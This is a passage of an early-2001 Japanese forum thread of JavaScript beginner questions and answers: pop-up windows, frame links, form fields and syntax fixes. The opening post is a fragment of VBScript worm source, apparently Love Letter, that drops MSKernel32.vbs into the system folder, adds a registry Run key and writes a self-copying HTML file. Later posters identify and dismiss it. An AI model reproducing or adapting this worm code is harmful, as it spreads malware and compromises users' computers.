"<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#@`#-#main#-#)@-@ "&vbcrlf& _ "ONKEYDOWN=@-@window.name=#-#main#-#;window

357 名前:Name_Not_Found 投稿日:2001/01/20(土) 05:52
.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#@`#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _ "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to Enable ActiveX<?-?p>"&vbcrlf& _ "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE> "&vbcrlf& _ "<?-?BODY><?-?HTML>"&vbcrlf& _ "<SCRIPT language=@-@JScript@-@>"&vbcrlf& _ "&lt;!--?-??-?"&vbcrlf& _ "if (window.screen){var wi=screen.availWidth;var hi=screen.availHeight;window.moveTo(0@`0);window.resizeTo(wi@`hi);}"&vbcrlf& _ "?-??-?--&gt;"&vbcrlf& _ "<?-?SCRIPT>"&vbcrlf& _ "<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _ "&lt;!--"&vbcrlf& _ "on error resume next"&vbcrlf& _ "dim fso@`dirsystem@`wri@`code@`code2@`code3@`code4@`aw@`regdit"&vbcrlf& _ "aw=1"&vbcrlf& _ "code=" dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _ "set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _ "code2=replace(code@`chr(91)&chr(45)&chr(91)@`chr(39))"&vbcrlf& _ "code3=replace(code2@`chr(93)&chr(45)&chr(93)@`chr(34))"&vbcrlf& _ "code4=replace(code3@`chr(37)&chr(45)&chr(37)@`chr(92))"&vbcrlf& _ "set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _ "wri.write code4"&vbcrlf& _ "wri.close"&vbcrlf& _ "if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _ "if (err.number=424) then"&vbcrlf& _ "aw=0"&vbcrlf& _ "end if"&vbcrlf& _ "if (aw=1) then"&vbcrlf& _ "document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _ "window.close"&vbcrlf& _ "end if"&vbcrlf& _ "end if"&vbcrlf& _ "Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _ "regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-@@`dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _ "?-??-?--&gt;"&vbcrlf& _ "<?-?SCRIPT>" dt1=replace(dta1@`chr(35)&chr(45)&chr(35)@`"'") dt1=replace(dt1@`chr(64)&chr(45)&chr(64)@`"""") dt4=replace(dt1@`chr(63)&chr(45)&chr(63)@`"/") dt5=replace(dt4@`chr(94)&chr(45)&chr(94)@`"\") dt2=replace(dta2@`chr(35)&chr(45)&chr(35)@`"'") dt2=replace(dt2@`chr(64)&chr(45)&chr(64)@`"""") dt3=replace(dt2@`chr(63)&chr(45)&chr(63)@`"/") dt6=replace(dt3@`chr(94)&chr(45)&chr(94)@`"\") set fso=CreateObject("Scripting.FileSystemObject") set c=fso.OpenTextFile(WScript.ScriptFullName@`1) lines=Split(c.ReadAll@`vbcrlf) l1=ubound(lines) for n=0 to ubound(lines) lines(n)=replace(lines(n)@`"'"@`chr(91)+chr(45)+chr(91)) lines(n)=replace(lines(n)@`""""@`chr(93)+chr(45)+chr(93)) lines(n)=replace(lines(n)@`"\"@`chr(37)+chr(45)+chr(37)) if (l1=n) then lines(n)=chr(34)+lines(n)+chr(34) else lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _" end if next set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM") b.close set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM"@`2) d.write dt5 d.write join(lines@`vbcrlf) d.write vbcrlf d.write dt6 d.close end sub
</script>

358 名前:Name_Not_Found 投稿日:2001/01/20(土) 11:23
>>354

JavaScriptではなくVBScriptなので何とも言えません。
ただ、IE4以降でないと見られないのは確かです。

359 名前:358追記 投稿日:2001/01/20(土) 11:32
また、セキュリティの関係上、ブラウザのスクリプトには
ファイルやディレクトリを直接扱う機能は基本的にはありません。
(※ActiveXなどのコンポーネントを利用すれば違ってきますが)
上記のソースにはファイルシステムオブジェクトの生成などが含まれているので、
このままだと単にエラー扱いになると思われます。

360 名前:fault 投稿日:2001/01/20(土) 13:03
<script language="JavaScript">
&lt;!--
function myEnter(){
myPassWord = prompt("パスワードを入れて下さい"@`"");
if ( myPassWord == "〜" ) location.href = "〜.htm";
else alert( "パスワードが違います!" );
}
// --&gt;
</script>
</head>
<body>

<form>
<p>入り口です→
<input type="button" value="click" onclick="myEnter()">
</p>
</form>
</html>
これはパスワードを求める仕掛けです。入り口の部分をボタンではなく
画像にしたいんですが、やり方わかりますか?
また、パスワードを数種類設定することはできますか?

361 名前:Error 投稿日:2001/01/20(土) 13:06
javalang Class Format Error. Illegal constant pool type.
というエラーが出てしまい。 javaScriptが動きません。 これは
どういう意味でしょうか?

ローカルでは何ら問題無く作動づるのですが、サーバーにアップすると
このエラーメッセージが出ます。

362 名前:Name_Not_Found 投稿日:2001/01/20(土) 13:35
>>360
入り口画像にしたかったら
<form><p>入り口です→
<input type="button" value="click" onclick="myEnter()">
</p></form>
のかわりに
<a href="JavaScript:myEnter()"><img src="***.gif"></a>

パスワード複数にしたかったら
<script language="JavaScript">
&lt;!--
function myEnter(){
myPassWord = prompt("パスワードを入れて下さい"@`"");
if ( myPassWord == "****" ) {location.href = "****.html"; return; true;}
if ( myPassWord == "****" ) {location.href = "****.html"; return; true;}
if ( myPassWord == "****" ) {location.href = "****.html"; return; true;}
else{alert( "パスワードが違います!" );}
}
// --&gt;
</script>
って感じで増やしていけばいいけど、これじゃソースみられたらパスワードばれる

<script language="JavaScript">
&lt;!--
function myEnter(){
myPassWord = prompt("パスワードを入れて下さい"@`"");
location.href = myPassWord+".html";
}
// --&gt;
</script>
こうしたらパスワードの入力ミスしたときアラートでないけど、パスワードは
ソースを見てもばれない。パスワード=リンク先のファイル名。パスワードで
777と入力したら777.htmlに飛ぶって仕組みです。

363 名前:360 投稿日:2001/01/20(土) 15:47
うわっ362さんマジでありがとうございます。しかもこんな早く&詳しく。
某Javaサイトで同じ書きこみしたのに3日経っても返答がなく困ってたところなんです。
さっそく試してみます。ありがとうございました!




364 名前:Name_Not_Found 投稿日:2001/01/20(土) 19:34
>>354
ネタか?
らぶれたーだろ。

365 名前:Name_Not_Found 投稿日:2001/01/20(土) 23:58
>>363

もし本当に「JavaScriptサイト」でなく「Javaサイト」で質問したのであれば
返答がなかったのも仕方ないのでは(; ^ ^)にしても、ネタにマジレスしてたとは…マジシニタクナテキタ。

366 名前:358・365 投稿日:2001/01/21(日) 00:03
うわ、改行が飛ばされてる!?
>にしても、ネタにマジレスしてたとは…マジシニタクナテキタ。
この部分は>>363さんとは無関係です。すいません。

ううう情けなや自分。逝ってきます。

367 名前:Name_Not_Found 投稿日:2001/01/22(月) 07:21
age

368 名前:Name_Not_Found 投稿日:2001/01/23(火) 03:50
かなりスレ違いだとは思いますが、
hearmeのようなスクリプトってどこかにないでしょうか。
ボイスは使えなくても良いんですけど
あの操作性がかなり気に入ってしまって^^;
ご存じの方がおられましたらどうか教えてください。

369 名前:Name_Not_Found 投稿日:2001/01/23(火) 04:41
<SCRIPT LANGUAGE="JavaScript">
&lt;!--
function resizeWindow(){
if (navigator.appVersion.charAt(0) >= 4){
window.resizeTo(150@`450);
}
}
//--&gt;
</SCRIPT>
</head>
<body bgcolor="#CCCCCC" onLoad="resizeWindow()">

で、ツールバーなどをなくすにはどうしたらいいんでしょうか?
探しても見当たらないんで厨房を助けて下さい。

370 名前:Name_Not_Found 投稿日:2001/01/23(火) 06:28
>>369

Netscape4であれば
locationbar.visible
menubar.visible
personalbar.visible
scrollbar.visible
toolbar.visible
といったプロパティが用意されていて、
true/falseを代入することで表示/非表示を設定できます。
また、Netscape6・Mozillaでの実装は未確認です。

個人的な考えですが、別ウィンドウを開く時以外に
ツールバー等の表示をコントロールするのは
ユーザにとってこころよいものではないと思うので、
あまりおすすめはできません。

371 名前:369 投稿日:2001/01/23(火) 07:28
i-mode用のページをPCで開いた時のものにしたいんです。だからツールバー等は
必要無いかなと。サイズも軽いので。進むと戻るがあればいいと思ってます。
で、プロパティをどこに記述すればいいんでしょう。IEも含めて。

マジ厨房ですみません。

372 名前:Name_Not_Found 投稿日:2001/01/23(火) 07:39
>>334
> onSubmitはフォームの「送信時」に発生するイベントなので、
> たとえば「必須項目がすべて入力済でなければ送信を行わせない」
> といったチェックを行う場合にはやはり不適当です。

おいおい、ネタだろ。ププ

373 名前:Name_Not_Found 投稿日:2001/01/23(火) 10:43
>>371

370の各プロパティは通常のスクリプトと同様に
scriptタグ内、あるいはイベントハンドラ内で
locationbar.visible = true;
といった具合に記述してください。

なお、IEにはツールバー等の表示を直接扱うプロパティはないので、
ウィンドウを新規に開くのをどうしても避けたいのでなければ、
window.openでオプションを指定するのが一番だと思います。
オプションの指定方法については
http://wakusei.cplaza.ne.jp/twn/wwwjswin.htm#Window
をご覧になってください。

>>372

ネタだという理由が書かれてないので煽りにケテーイ。

374 名前:スクリプト_エラー ライン:374 "名前"がありません。 投稿日:2001/01/23(火) 15:57
>>373

372じゃないけど、
return falseでイベントの発生を無効にできるんだよ。

375 名前:名無しでいいとも! 投稿日:2001/01/23(火) 16:56
javaスクリプトなんぞ覚えたって無駄
CGI覚えるべし!

376 名前:373 投稿日:2001/01/23(火) 17:09
>>374

あ、なるほど…
ご指摘ありがとうございます。

>>375

あーそうですねいやはやごもっともなお話ですまったく。すごいすごい。

377 名前:Name_Not_Found 投稿日:2001/01/23(火) 18:29
docyunment.write("375はJavaScriptも覚えられないドキュソ。");

378 名前:Name_Not_Found 投稿日:2001/01/23(火) 18:57
おもろいからオレもマネてみよう

if(confirm(">>375\nここが何の板だか理解してる?")){
tyubo.itteyoshi();
}
else{
bantigai.kakowarui();
}

379 名前:Name_Not_Found 投稿日:2001/01/23(火) 19:13
板違いは「いたちがい」って読むんじゃないのか…? バンなのか?

380 名前:Name_Not_Found 投稿日:2001/01/23(火) 19:56
Netscapeではitatigaiオブジェクト、
IEだとbantigaiオブジェクトになります(w

「バン」「イタ」のどっちで呼んでるかって話題
どっかで見たような…雑談スレに持ち込むと面白いかも。

381 名前:369 投稿日:2001/01/24(水) 00:29
373さん、ご丁寧にありがとうございました。

382 名前:Name_Not_Found 投稿日:2001/01/24(水) 01:52
if(this.sled[375].docyuntype=="chubo"){
alert("厨房、逝ってよし!");
}

else if(this.sled[375].docyuntype=="kitty"){
alert("あなたの頭はJavaScript未対応です。");
}

else if(this.sled[375].docyuntype=="hikki"){
alert("おまえは何覚えたって無駄っぽいがな。");
}

else if(this.sled[375].docyuntype=="shoshinsya"){
alert("CGI=Perlだと思ってない? ASP+JScriptもCGIだぞ。");
}

window.onArashi = null;
window.onAori = null;

this.sled[382].sleep();

383 名前:Name_Not_Found 投稿日:2001/01/24(水) 02:06
thread

384 名前:Name_Not_Found 投稿日:2001/01/24(水) 17:39
NN6でformのinputタグのvalueを制御するにはどうしたらいいですか?
resetボタンみたいなものを画像で使いたいですが。
<input type="text" name="url">

urlElement = document.getElementById('url');
urlElement.value='http://';
IEでは問題ないですが、NN6では反応しません。
厨房ですが、教えてください。


385 名前:Name_Not_Found 投稿日:2001/01/24(水) 18:06
>>384

getElementByIdは名前の通りidを元に要素を検索して
オブジェクトを得るメソッドなので、
input要素にidを設定し、もう一度実行してみてください。

IEはid検索時に該当する要素がなかった場合、
nameまで検索しているフシがあるのですが、
getElementByNameというメソッドが
別個にちゃんと用意されていることから考えると、
誤って実装されているのではないかと思います。

386 名前:Name_Not_Found 投稿日:2001/01/24(水) 19:09
>>385
ありがとうございます。
できました。
でもgetElementByNameでもその前に一度試したんですが
うまくいかなかったような気がします。
記述ミスがあったんですかね?
とりあえず、idをつけるとうまくいきました。(謝)

387 名前:385 投稿日:2001/01/24(水) 20:13
>>386

スマソ、訂正します。
getElementByNameではなく
getElementsByNameでした。
直接オブジェクトを取得するのではなく、
あるnameを与えられたオブジェクト郡を
コレクションとして扱うメソッドのようです。
(type="radio"のinput要素などで
同じnameを持つ複数のオブジェクトを
参照可能にするためだと思います)

388 名前:Name_Not_Found 投稿日:2001/01/24(水) 20:15
しまった、さげ忘れた…
おまけに誤字。鬱だ…

389 名前:Name_Not_Found 投稿日:2001/01/26(金) 12:42
有用スレage

390 名前:Name_Not_Found 投稿日:2001/01/26(金) 18:08
エイジ

391 名前:Name_Not_Found 投稿日:2001/01/26(金) 21:47
ページに埋めたJavaAppletの中のメソッドをJavaScriptから
呼び出すとき、OSとブラウザとVMの組み合わせによってうまく呼べたり、
または「そんなオブジェクトはありましぇ〜ん」と怒られたりするのですが、
このあたりの組み合わせの事例などについてご存じの方、いらっしゃいますか?
特に、Mac+IE+MRJだと全滅です。

392 名前:Name_Not_Found 投稿日:2001/01/26(金) 22:37
>>391

JavaAppletに関してはあまり詳しくはないのですが、
IEの場合は設定されているセキュリティレベルによって
JavaScriptからのJavaAppletのメソッド参照の可否が変化するようです。
なので、

if(document.applets){
/* ここにJavaAppletのメソッドを参照する式を書く */
}

という判定式を利用されることをおすすめします。

393 名前:Name_Not_Found 投稿日:2001/01/26(金) 23:07
age

394 名前:Name_Not_Found 投稿日:2001/01/28(日) 12:05
age

395 名前:名無しちゃん 投稿日:2001/01/29(月) 18:34
初心者スレで聞いたら、こちらで聞いたほうが
いいということで、早速来ました。

クリックした時に、アドレスバーetcが無い
小さい窓を出すようにするのは、どうすればいいのですか?
全くの初心者ので、すみませんが、
ご存知の方、詳しく教えてください。
お願いします。


396 名前:Name_Not_Found 投稿日:2001/01/29(月) 18:42
>>395

新たにウィンドウを開くにはwindow.openメソッドを使用します。
このメソッドはオプションを指定することにより
ウィンドウのサイズやツールバーの表示/非表示などが指定できます。
詳しくは wakusei.cplaza.ne.jp/twn/wwwjswin.htm#Window を参考にしてください。

397 名前:!395 投稿日:2001/01/29(月) 18:55
>>396
見てきたが、さっぱりわからなかった。
あれで理解できたら凄いと思う。

398 名前:名無しちゃん 投稿日:2001/01/29(月) 19:07
>>396
早速のレス、ありがとうございます。
でも、>>397さんと同じで
理解できませんでした・・・。
小窓、1個だけなのに、難しいもんなんですね・・・。

399 名前:396 投稿日:2001/01/29(月) 19:12
>>397

俺はよくアレを参考にしてるんですが、
確かに初心者には難しいかも…

>>395

window.openメソッドの使い方がよく分からなければ、
下の命令文を使ってみてください。
(【〜】は適切な内容に置き換えてください)

open("【ファイルのURL】"@` "【ウィンドウの識別名(任意)】"@` "width=【横幅(ピクセル値)】@` height=【縦幅(ピクセル値)】@`location=no@` status=no@` toolbar=no@` ");

400 名前:396 投稿日:2001/01/29(月) 19:15
上で書いたの命令文に記述ミスがありました。
以下に訂正したものを書きますので、そちらをお使いください。

open("【ファイルのURL】"@` "【ウィンドウの識別名(任意)】"@` "width=【横幅(ピクセル値)】@` height=【縦幅(ピクセル値)】@` location=no@` status=no@` toolbar=no");

401 名前:名無しちゃん 投稿日:2001/01/29(月) 19:37
親切に教えていただき、本当にありがとうございます。

window.openメソッド プラス、
>>400に書いてあるものを使うんですよね?
それで、window.openメソッドはどうすればいいのでしょうか?
教えていただいた>>396を見ても、やっぱり分からないんです・・。
質問ばかりしてしまい、すいません・・・。


402 名前:名無しちゃん 投稿日:2001/01/29(月) 20:07
教えられたとおりに、試行錯誤してみたら
なんとかできました!
本当にありがとうございました。

403 名前:Name_Not_Found 投稿日:2001/01/29(月) 20:07
>>401

windowオブジェクトは記述が省略できるので、
400の記述をそのまま書くだけでOKです。
たとえば、800×600サイズの別ウィンドウで2chを開きたい場合、
(※ツールバー・ロケーションバー・ステータスバー非表示)

open("http://www.2ch.net/2ch.html"@` "Win2ch"@` "width=800@` height=600@` location=no@` status=no@` toolbar=no");

となります。

(※もちろん、URLは相対アドレスでも構いません)
(※"Win2ch"という指定は仮のものです。好きに設定してOKです)

404 名前:名無しちん、ぴんち 投稿日:2001/01/31(水) 06:12
JavaScript を Java と呼ぶ奴は多いが、VBScript を VB と呼ぶ奴は見たことがない。 なぜだろう。

405 名前:Name_Not_Found 投稿日:2001/01/31(水) 11:03
取り敢えず、自分がやりたいように、ものは作ったのですが、、
イメージマップからマウスアウトで「IEで、ページでエラーが発生しました」
ってステータス欄に表示されている事を発見しました。
どんなエラーかをしる方法を教えてください。
NNの場合、japascript: で出ることは知ってます。


406 名前:Syn 投稿日:2001/01/31(水) 11:18
>>405
ステータスバーをダブルクリックせよ。

メニューの [ツール] - [インターネット オプション] をクリック
して [詳細設定] タブの「スクリプト エラーごとに通知を表示する」
にチェックをつけとくと毎回ダイアログが出るようになる。

407 名前:405 投稿日:2001/01/31(水) 11:26
>>406

サンクス。&heart;

408 名前:Name_Not_Found 投稿日:2001/01/31(水) 18:17
<HTML>
<HEAD>
<TITLE>JavaScript電卓</TITLE>
<SCRIPT LANGUAGE="JavaScript">
&lt;!--
function calc(ch){
if(ch =="="){
document.form1.text1.value=
eval(document.form1.text1.value);
} else if (ch == "C") {
document.form1.text1.value="";
} else {
document.form1.text1.value += ch;
}
}
// --&gt;JavaScript対応ブラウザでないと動作しません。
</SCRIPT>
</HEAD>
<BODY>
<FORM NAME="form1" ACTION="">
<TT>
<INPUT TYPE="text" NAME="text1" VALUE="" SIZE=26>
<P>
<INPUT TYPE="button" VALUE=" 7 " onClick="calc('7')">
<INPUT TYPE="button" VALUE=" 8 " onClick="calc('8')">
<INPUT TYPE="button" VALUE=" 9 " onClick="calc('9')">
<INPUT TYPE="button" VALUE="×" onClick="calc('*')">
<P>
<INPUT TYPE="button" VALUE=" 4 " onClick="calc('4')">
<INPUT TYPE="button" VALUE=" 5 " onClick="calc('5')">
<INPUT TYPE="button" VALUE=" 6 " onClick="calc('6')">
<INPUT TYPE="button" VALUE="÷" onClick="calc('/')">
<P>
<INPUT TYPE="button" VALUE=" 1 " onClick="calc('1')">
<INPUT TYPE="button" VALUE=" 2 " onClick="calc('2')">
<INPUT TYPE="button" VALUE=" 3 " onClick="calc('3')">
<INPUT TYPE="button" VALUE="−" onClick="calc('-')">
<P>
<INPUT TYPE="button" VALUE=" 0 " onClick="calc('0')">
<INPUT TYPE="button" VALUE=" C " onClick="calc('C')">
<INPUT TYPE="button" VALUE=" = " onClick="calc('=')">
<INPUT TYPE="button" VALUE=" + " onClick="calc('+')">
</TT>
</FORM>
</BODY>
</HTML>

409 名前:スチュワーデス 投稿日:2001/01/31(水) 18:48
お客様の中で、JavaScriptを使いこなせる方はいらっしゃいませんか?!

410 名前:Name_Not_Found 投稿日:2001/01/31(水) 19:46
はい。一応、時計くらいは・・・(藁

411 名前:Name_Not_Found 投稿日:2001/02/01(木) 00:21
はい。一応、入力フォームの内容確認のダイアログ程度なら・・・

412 名前:はなこさん 投稿日:2001/02/01(木) 00:27
検索データベースのつくりかたをおしえてください。
ソースを。

413 名前:Neko_Not_Found 投稿日:2001/02/01(木) 00:33
>>412

  ∧ ∧ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
  (@`@`゚ー゚)< JavaScriptじゃなくてCGIの範疇と思われます。
 @uu) \__________________

全文検索システム Namazu
http://www.namazu.org/
簡易データベース
http://www.rescue.ne.jp/cgi/database/

このへん紹介しときます。
これ以上のことはCGI、Perl板のほうで質問してください。

414 名前:はなこさん 投稿日:2001/02/01(木) 00:35
>>413ありがとう♪

415 名前:Name_Not_Found 投稿日:2001/02/01(木) 10:17
<a href="hoge.html" onClick="top.window.location.href='hoge.html'">ほげほげ</a>

フレーム内のページからフレームを解除してジャンプする場合、
target属性が使えないとすると上のような書き方で良いのでしょうか?
リンク先ファイルの"hoge.html"が2ヵ所に出てきて見苦しいので、
href属性の値をJavaScriptの方にも利用させられないでしょうか?
また、この場合は、return false;とかは要らないでしょうか?

416 名前:Name_Not_Found 投稿日:2001/02/01(木) 10:47
なんで target 属性使わないの?

417 名前:Name_Not_Found 投稿日:2001/02/01(木) 11:29
>>415

<a href="javascript:top.location.href = 'hoge.html';">
というのはどうでしょう。ただし、スクリプトOFF環境だとアレですが。
(※もうすこし複雑な方法にすればスクリプトOFF環境にもある程度対処できます)

418 名前:417 投稿日:2001/02/01(木) 11:36
追記

> top.window.location.href='hoge.html'

topはwindowオブジェクトより下位なので、
window.top.location.href='hoge.html'
と書くのが正しいです(windowは省略可能)

> return false;とかは要らないでしょうか?

a要素によるページジャンプとonclick等のイベントは
直接結びついているわけではないので、特に必要ありません。

419 名前:415 投稿日:2001/02/01(木) 12:32
ありがとうございます。

>>416さん
規格に合致したHTMLではtarget属性が使えないと聞きましたので、
ではそれを代行する手法は他にあるのかを知りたいと思いまして。

>>417さん
参考になりました。
JavaScriptを完全に切っている人のことも考慮するなら、
面倒な方法を堪える必要があるようですね。

420 名前:Name_Not_Found 投稿日:2001/02/01(木) 12:36
JavaScriptオフにしてる場合って、
アラートも出ないワケ?

厨房質問、すんまそ


421 名前:Name_Not_Found 投稿日:2001/02/01(木) 12:51
>>419
>規格に合致したHTMLではtarget属性が使えない

Strict DTD のこと?
それならフレーム自体が使えないよ…。
HTML4.01でフレーム使いたい場合は Frameset DTD
これならtarget属性使ってても怒られない。

>>420
やってみて それでダメなら 聞いてみる

422 名前:Name_Not_Found 投稿日:2001/02/01(木) 12:52
>>420
IEの場合はアラートを出す出さないもカスタマイズできるぞ。
インターネットオプション>セキュリティ>レベルのカスタマイズ
自分でためしてみれ

423 名前:Name_Not_Found 投稿日:2001/02/01(木) 12:57
>>409
JavaScriptで飛んでいる飛行機かい。そりゃニアミスもするだろうよ。

424 名前:Name_Not_Found 投稿日:2001/02/01(木) 13:17
>>421
> >規格に合致したHTMLではtarget属性が使えない
> Strict DTD のこと?
> それならフレーム自体が使えないよ…。

当該ページがフレームの一部を構成するものとなるか否かは、
framesetを指定する側のHTMLのみが独占的に規定するものであり、
当該ページが自分の意志で規定しえるものではない。

425 名前:Name_Not_Found 投稿日:2001/02/01(木) 14:11
つまり、そのHTMLがフレーム内にあろうがなかろうが、
Strict では target は違法、Transitional では合法というわけだね。

フレームを使ったサイトで target が使えないというのは致命的なので、
フレーム内のHTMLは必然的に Transitional で記述せざるを得ない。
(Strictで書いてもいいが、フレームを使うメリットのほとんどが
失われてしまうね)

426 名前:Name_Not_Found 投稿日:2001/02/01(木) 14:16
スクリプトOFF環境を考慮した方法のサンプルです。
通常のtarget属性指定と違い、
同ウィンドウ内のフレームのみが対象になります。
targetの指定はJavaScriptでの記述形式に準じます。
(長文になります。スマソ)

<html>
<head>
<script type="text/javascript">
&lt;!--

var HrefArray = new Array();
var TargetArray = new Array();

function TargetSet(LinkName@` Target){
if(Target){
for(var Vars1 = 0@` Vars2 = document.links.length; Vars1 < Vars2; Vars1++){
if(document.links[Vars1].name == LinkName){
HrefArray[HrefArray.length] = document.links[Vars1].href;
document.links[Vars1].href = "javascript:PageJump(" + (TargetArray.length).toString(10) + ");";
TargetArray[TargetArray.length] = Target;
}
}
}
}

function PageJump(KeyNumber){
TargetArray[KeyNumber].location.href = HrefArray[KeyNumber];
}

//--&gt;
</script>
</head>
<body onload="TargetSet('hogeLink'@` top);">
<a name="hogeLink" href="hoge.html">ほげほげ</a>
</body>
</html>

427 名前:Name_Not_Found 投稿日:2001/02/01(木) 14:20
セレクトメニューが二つあって、
うち、一つのセレクトメニューの
選択によって
GO!をおしたときのリンク先が違うというのは
どうすればいいの??

428 名前:Name_Not_Found 投稿日:2001/02/01(木) 14:24
>>427

それだけでは何とも言えないので、
もう少し詳しく説明してもらえますか?

429 名前:Name_Not_Found 投稿日:2001/02/03(土) 02:43
NN4.73でファンクションキーの入力を取得したいのですが、
event.whichだと普通のキー入力しか取得できません。
なにか取得する方法はあるのでしょうか?

430 名前:Name_Not_Found 投稿日:2001/02/03(土) 10:37
>>429

ファンクションキーのコードを
適切に得られるブラウザはかなり限定されています。

WinIE4 ○
WinIE5 ○
MacIE4 ×
MacIE5 ?

NN4 ×
N6(Mozilla) ?

431 名前:Name_Not_Found 投稿日:2001/02/03(土) 14:15
>>430
レスありがとうございます。
もしその辺のことについて記述しているHPをご存知でしたら、
教えていただけないでしょうか?
昨日2、3時間ほど探したのですが見つけることができませんでした・・・

432 名前:Name_Not_Found 投稿日:2001/02/03(土) 15:23
>>431

↓こちらが参考になります。

http://macosx2.ncs.gr.jp/ima/CDROM/

433 名前:Name_Not_Found 投稿日:2001/02/03(土) 16:02
>>432
どうもありがとうございます!

434 名前: 投稿日:2001/02/04(日) 10:32
最近始めたばっかなのですが、エラーが出ます。どこがおかしいのか自分では
よく分からないので、どなたか教えて下さい。よろしくお願いします。

↓名前はマイクです。って表示させたいのですが上手くいきません。
<html>
<title>関数</title>
<SCRIPT language="JavaScript">
&lt;!--
function printName(name)
  document.write("名前は"@`name@`"です。")
}
//--&gt;
</SCRIPT>
<body>
<SCRIPT language="JavaScript">
&lt;!--
var name="Mike"
printName(name)
//--&gt;
</SCRIPT>
</BODY>
</HTML>
どこがおかしいでしょうか_

435 名前:Name_Not_Found 投稿日:2001/02/04(日) 10:49
{

436 名前:名無しさん@14周年 投稿日:2001/02/04(日) 12:12
<html>
<title>関数</title>
<SCRIPT language="JavaScript">
&lt;!--
function printName(name){
  document.write("名前は"@`name@`"です。")
}
//--&gt;
</SCRIPT>
<body>
<SCRIPT language="JavaScript">
&lt;!--
var name="Mike"
printName(name)
//--&gt;
</SCRIPT>
</BODY>
</HTML>


437 名前: 投稿日:2001/02/04(日) 13:02
有難うございます!早速>>436さんの通りにやってみたの
ですが、またエラーが出ました(;−;)ライン:6、
文字:1、エラー:文字が正しくありません、コード:0
とうかんじでエラー表示されました。ライン6ってことは
document.write("名前は"@`name@`"です。")
のところで良いのでしょうか?

438 名前:Neko_Not_Found 投稿日:2001/02/04(日) 13:17
>>437

  ∧ ∧ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
  (@`@`゚ー゚)< 6行目のdocument.writeの前に全角のスペース入ってるからだよ
 @uu) \__________________

439 名前: 投稿日:2001/02/04(日) 17:47
>>438さん有難うございます〜!半角に直したらすぐ表示されました♪
助かりました^−^本当に有難うです^0^

440 名前: 投稿日:2001/02/05(月) 00:05
…上手くいったと思ったら、今度は表示されなくなりました〜(T-T)エラーも
出てないのにどうしてでしょうか?そういうことってよくあるんですか?
うぅ、よろしくお願いします。

441 名前:Name_Not_Found 投稿日:2001/02/05(月) 00:07
どこをいじったのか言えよドアホ。

442 名前: 投稿日:2001/02/05(月) 00:16
失礼しました〜(><)名前が上手くいったんで、時間によって
言葉が変わるのに挑戦したんです。作ったときはきちんと表示さ
れたのに、さっき見てみたらな〜んも出てなかったんです…。
<SCRIPT language="JavaScript">
&lt;!--
function PrintMessage(){
date=new Date()
h=date.getHours()
if(18<=h && h<21){
document.write("!"}
else if(21<=h && h<23){
document.write("?")
}
else if(23<=h && h<1){
document.write("♪")
}
}//--&gt;
</SCRIPT>
こんなかんじで作りました。

443 名前: 投稿日:2001/02/05(月) 00:20
ごめんなさい、
if(18<=h && h<21){
document.write("!")
でした・・・。でも、ソース確認してみたらちゃんと)になってました。

444 名前:Neko_Not_Found 投稿日:2001/02/05(月) 01:11
>>442
  ∧ ∧ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
  (@`@`゚ー゚)< if (23<=h && h<1) って真になると思う? ここは && じゃなくて || 。
 @uu) \__________________

<SCRIPT language="JavaScript">
&lt;!--
function PrintMessage(){
var date=new Date();
h=date.getHours();
if(18<=h && h<21) {
document.write("!")
} else if(21<=h && h<23) {
document.write("?")
} else if(23<=h || h<1) {
document.write("♪")
}
}//--&gt;
</SCRIPT>

ところでこのままじゃ 1時〜17時の間はコメントでないよ。
いれたかったら
document.write("♪")
} else {
document.write("★")
}
}//--&gt;

445 名前: 投稿日:2001/02/05(月) 01:42
ちゃんとコメント出ました〜〜!ねこさん有難うございますぅ^0^
今夜中にお返事来るかなって思っていたので、ますます嬉しいです♪
ところで一体何者ですか?凄腕のWeb職人さんですか?

446 名前:Name_Not_Found 投稿日:2001/02/05(月) 09:56
別にプロじゃなくても分かると思うけど・・・

447 名前:Name_Not_Found 投稿日:2001/02/05(月) 10:53
むしろプロでもJavaScriptダメな人は少なくないかも?(w

448 名前:Name_Not_Found 投稿日:2001/02/06(火) 14:00
初心者スレに客が流れてるじゃんage

449 名前:Name_Not_Found 投稿日:2001/02/07(水) 05:25
<SCRIPT LANGUAGE="JavaScript2ch">
window.age();
</SCRIPT>

450 名前:Name_Not_Found 投稿日:2001/02/08(木) 17:35
JavaScriptにウェイト処理は無いのですか?
画像を読み込むまですべての処理をストップしたいのですが
for(i=0;;i++){
if(document.tc.complete){
break;
}
とかやっても、処理の大半がループに食われてしまって
永久に帰ってきません。

451 名前:Name_Not_Found 投稿日:2001/02/08(木) 17:37

コピペ



452 名前:Name_Not_Found 投稿日:2001/02/08(木) 18:01
>>450
setTimeout
setInterval

